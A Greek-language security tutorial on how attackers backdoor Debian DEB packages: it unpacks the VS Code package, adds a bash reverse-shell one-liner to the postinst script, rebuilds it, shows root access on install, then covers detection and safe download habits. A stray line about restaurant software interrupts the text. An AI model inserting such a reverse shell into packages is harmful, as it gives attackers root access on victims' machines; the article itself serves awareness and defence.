Πώς τα πακέτα DEB είναι backdoored και πώς να το εντοπίσετε

Βασικά Takeaways

  • Τα πακέτα DEB μπορούν εύκολα να μετατραπούν σε backdoor, επιτρέποντας στους εισβολείς να εισάγουν κακόβουλο κώδικα στο σύστημά σας όταν τα εγκαθιστάτε με δικαιώματα root.
  • Τα μολυσμένα πακέτα DEB είναι δύσκολο να εντοπιστούν, καθώς ενδέχεται να μην επισημανθούν από λογισμικό προστασίας από ιούς ή λύσεις cloud όπως το VirusTotal.
  • Για να προστατευτείτε, αποφύγετε τη λήψη πακέτων DEB από τυχαίους ιστότοπους, μείνετε σε επίσημους ιστότοπους λήψης ή αξιόπιστους ιστότοπους της κοινότητας και εξετάστε το ενδεχόμενο να εγκαταστήσετε εργαλεία ασφαλείας για να προστατεύσετε το σύστημά σας Linux από επιθέσεις δικτύου.

Τα αρχεία DEB είναι πακέτα λογισμικού που αποτελούν την κύρια μορφή λογισμικού αποστολής σε διανομές Linux που βασίζονται στο Debian.

Για να εγκαταστήσετε πακέτα DEB, πρέπει να χρησιμοποιήσετε έναν διαχειριστή πακέτων όπως το dpkg με δικαιώματα root. Οι επιτιθέμενοι το εκμεταλλεύονται αυτό και εισάγουν backdoors σε αυτά τα πακέτα. Όταν τα εγκαθιστάτε με dpkg ή οποιονδήποτε άλλο διαχειριστή πακέτων, ο κακόβουλος κώδικας εκτελείται επίσης παράλληλα και θέτει σε κίνδυνο το σύστημά σας.

Ας εξερευνήσουμε πώς ακριβώς τα πακέτα DEB είναι backdoored και τι μπορείτε να κάνετε για να προστατευθείτε.

Πώς είναι τα πακέτα DEB Backdoor;

Προτού καταλάβετε πώς τα πακέτα DEB είναι backdoored, ας εξερευνήσουμε τι υπάρχει μέσα σε ένα πακέτο DEB. Για επίδειξη, θα πραγματοποιήσω λήψη του πακέτου Microsoft Visual Studio Code DEB από τον επίσημο ιστότοπο της Microsoft. Αυτό είναι το ίδιο πακέτο που θα κάνατε λήψη αν θέλετε να εγκαταστήσετε το VS Code σε Linux.

Κατεβάστε: Κωδικός Visual Studio

Τώρα που έχετε κατεβάσει το πακέτο προορισμού, ήρθε η ώρα να το αποσυσκευάσετε. Μπορείτε να αποσυσκευάσετε ένα πακέτο DEB χρησιμοποιώντας την εντολή dpkg-deb με τη σημαία -R ακολουθούμενη από τη διαδρομή για την αποθήκευση των περιεχομένων:

 dpkg-deb -R <package_name> <path> 

Αυτό θα πρέπει να εξαγάγει τα περιεχόμενα του πακέτου VS Code.

  Η διαχείριση του εστιατορίου είναι εύκολη με αυτές τις 14 λύσεις

Μεταβαίνοντας στο φάκελο θα βρείτε πολλούς καταλόγους, ωστόσο, το ενδιαφέρον μας βρίσκεται μόνο στον κατάλογο DEBIAN. Αυτός ο κατάλογος περιέχει σενάρια συντήρησης που εκτελούνται κατά την εγκατάσταση με δικαιώματα root. Όπως ίσως έχετε ήδη καταλάβει, οι εισβολείς τροποποιούν τα σενάρια σε αυτόν τον κατάλογο.

Για επίδειξη, θα τροποποιήσω το σενάριο του postinst και θα προσθέσω ένα απλό κέλυφος αντίστροφου TCP Bash με μία γραμμή. Όπως υποδηλώνει το όνομα, είναι ένα σενάριο που εκτελείται μετά την εγκατάσταση του πακέτου στο σύστημα.

Περιέχει εντολές που οριστικοποιούν τις διαμορφώσεις, όπως η ρύθμιση συμβολικών συνδέσμων, ο χειρισμός εξαρτήσεων και πολλά άλλα. Μπορείτε να βρείτε τόνους διαφορετικών αντίστροφων κελυφών στο διαδίκτυο. Τα περισσότερα από αυτά θα λειτουργήσουν το ίδιο. Ακολουθεί το δείγμα αντίστροφης μονής επένδυσης:

 bash -i >& /dev/tcp/127.0.0.1/42069 0>&1 

Επεξήγηση της εντολής:

  • bash: Αυτή είναι η εντολή που καλεί το κέλυφος Bash.
  • -i: Η σημαία λέει στο Bash να εκτελείται σε διαδραστική λειτουργία επιτρέποντας την εντολή I/O σε πραγματικό χρόνο.
  • >& /dev/tcp/ip/port: Αυτό ανακατευθύνει την τυπική έξοδο και το τυπικό σφάλμα σε μια υποδοχή δικτύου, εγκαθιστώντας ουσιαστικά μια σύνδεση TCP με τις και τη <θύρα>.
  • 0>&1: Αυτό ανακατευθύνει την είσοδο και την έξοδο στην ίδια θέση, δηλαδή στην υποδοχή δικτύου.

Για όσους δεν έχουν μυηθεί, ένα αντίστροφο κέλυφος είναι ένας τύπος κώδικα που, όταν εκτελείται στο μηχάνημα-στόχο, ξεκινά μια σύνδεση πίσω στον υπολογιστή του εισβολέα. Τα αντίστροφα κελύφη είναι ένας πολύ καλός τρόπος για να παρακάμψετε τους περιορισμούς του τείχους προστασίας καθώς η κίνηση δημιουργείται από το μηχάνημα πίσω από το τείχος προστασίας.

Δείτε πώς φαίνεται το τροποποιημένο σενάριο:

Όπως μπορείτε να δείτε, όλα είναι ίδια, αλλά έχει προστεθεί μόνο μία γραμμή, δηλαδή το αντίστροφο κέλυφος Bash. Τώρα πρέπει να δημιουργήσετε ξανά τα αρχεία στη μορφή “.deb”. Απλώς χρησιμοποιήστε την εντολή dpkg με τη σημαία –build ή χρησιμοποιήστε το dpkg-deb με τη σημαία -b ακολουθούμενη από τη διαδρομή των εξαγόμενων περιεχομένων:

 dpkg --build <directory>
dpkg-deb -b <directory>

Τώρα το πακέτο DEB με κερκόπορτα είναι έτοιμο για αποστολή σε κακόβουλους ιστότοπους. Ας προσομοιώσουμε ένα σενάριο όπου ένα θύμα έχει κατεβάσει το πακέτο DEB στο σύστημά του και το εγκαθιστά όπως οποιοδήποτε άλλο κανονικό πακέτο.

Το επάνω τμήμα τερματικού είναι για το POV του θύματος και το κάτω μέρος είναι το POV του εισβολέα. Το θύμα εγκαθιστά το πακέτο με sudo dpkg -i και ο εισβολέας ακούει υπομονετικά για εισερχόμενες συνδέσεις χρησιμοποιώντας την εντολή netcat στο Linux.

Μόλις ολοκληρωθεί η εγκατάσταση, παρατηρήστε ότι ο εισβολέας αποκτά την αντίστροφη σύνδεση κελύφους και πλέον έχει πρόσβαση root στο σύστημα του θύματος. Τώρα ξέρετε πώς τα πακέτα DEB είναι backdoored. Ας μάθουμε τώρα πώς μπορείτε να προστατεύσετε τον εαυτό σας.

Πώς να εντοπίσετε εάν ένα πακέτο DEB είναι κακόβουλο

Τώρα που ξέρετε ότι τα μολυσμένα πακέτα DEB είναι ένα πράγμα, πρέπει να αναρωτιέστε πώς να βρείτε τα μολυσμένα. Για αρχή, μπορείτε να δοκιμάσετε να χρησιμοποιήσετε ένα λογισμικό προστασίας από ιούς Linux όπως το ClamAV. Δυστυχώς, όταν εκτελέστηκε μια σάρωση ClamAV στο πακέτο, δεν το επισήμανε ως κακόβουλο. Ακολουθεί το αποτέλεσμα της σάρωσης:

Έτσι, εάν δεν έχετε μια premium λύση προστασίας από ιούς (η οποία δεν αποτελεί εγγύηση ότι δεν θα σας παραβιάσουν), είναι αρκετά δύσκολο να εντοπίσετε κακόβουλα πακέτα DEB. Ας δοκιμάσουμε να χρησιμοποιήσουμε μια λύση cloud όπως ο ιστότοπος VirusTotal:

Όπως μπορείτε να δείτε, το VirusTotal δεν εντόπισε τίποτα κακό σε αυτό. Λοιπόν, ο μόνος τρόπος για να προστατευτείτε από τέτοιες απειλές είναι να ακολουθείτε τη βασική υγιεινή ασφαλείας, όπως να μην κάνετε λήψη αρχείων από άγνωστες πηγές, να ελέγχετε πάντα τον κατακερματισμό ενός αρχείου και γενικά, να αποφεύγετε την εγκατάσταση σκιερού λογισμικού.

Το διαδίκτυο είναι γεμάτο από τέτοιες απειλές. Ο μόνος τρόπος για να σερφάρετε χωρίς να χάσετε τα δεδομένα σας είναι να έχετε το μυαλό σας για εσάς και να περιηγηθείτε σε αξιόπιστους ιστότοπους. Επιπλέον, για το Linux, θα πρέπει επίσης να προσπαθήσετε να βρείτε εάν το λογισμικό που κατεβάζετε έχει μια παραλλαγή AppImage καθώς είναι αυτόνομα και μπορούν να τοποθετηθούν σε περιβάλλον δοκιμών και, επομένως, να μην έρχονται σε επαφή με το σύστημά σας.

Μην κάνετε λήψη πακέτων DEB από τυχαίους ιστότοπους!

Τα πακέτα DEB δεν είναι εγγενώς κακά, ωστόσο, οι εισβολείς μπορούν εύκολα να οπλίσουν και να τα στείλουν σε ανυποψίαστους χρήστες. Όπως αποδείχθηκε, ένα πακέτο DEB μπορεί εύκολα να ανοίξει και να τροποποιηθεί για να προσθέσει προσαρμοσμένο κώδικα με λίγες μόνο εντολές, καθιστώντας το ένα κοινό διάνυσμα για αποστολή κακόβουλου λογισμικού.

Ακόμη και οι απλές κερκόπορτες σε πακέτα DEB δεν πιάνονται από τις κορυφαίες λύσεις προστασίας από ιούς. Επομένως, το καλύτερο που έχετε να κάνετε είναι να παίζετε με ασφάλεια, να έχετε την κοινή λογική σας καθώς σερφάρετε στο διαδίκτυο και να κατεβάζετε πάντα λογισμικό μόνο από επίσημους ιστότοπους λήψης ή αξιόπιστους ιστότοπους της κοινότητας.

Τώρα που γνωρίζετε τους κινδύνους ασφαλείας που συνεπάγεται η εγκατάσταση πακέτων DEB από νέους ή άγνωστους ιστότοπους, θα πρέπει να είστε προσεκτικοί κατά την εγκατάσταση νέου λογισμικού. Ωστόσο, δεν αρκεί μόνο να προσέχετε τι εγκαθιστάτε. Το σύστημά σας Linux μπορεί επίσης να γίνει στόχος επιθέσεων δικτύου.

Για να διασφαλίσετε ότι είστε ασφαλείς σε περίπτωση επίθεσης δικτύου, θα πρέπει να εξετάσετε το ενδεχόμενο εγκατάστασης εργαλείων ασφάλειας δικτύου.